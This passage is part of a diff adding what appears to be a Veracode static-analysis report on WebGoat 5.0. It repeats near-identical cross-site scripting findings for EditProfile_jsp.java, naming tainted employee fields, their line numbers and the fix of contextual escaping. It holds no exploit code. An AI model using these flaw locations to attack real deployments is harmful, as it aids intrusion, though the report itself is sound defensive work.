+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"43\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"7\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"224\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"5\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"83\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"257\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"111\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"115\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"200\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"102\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"195\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
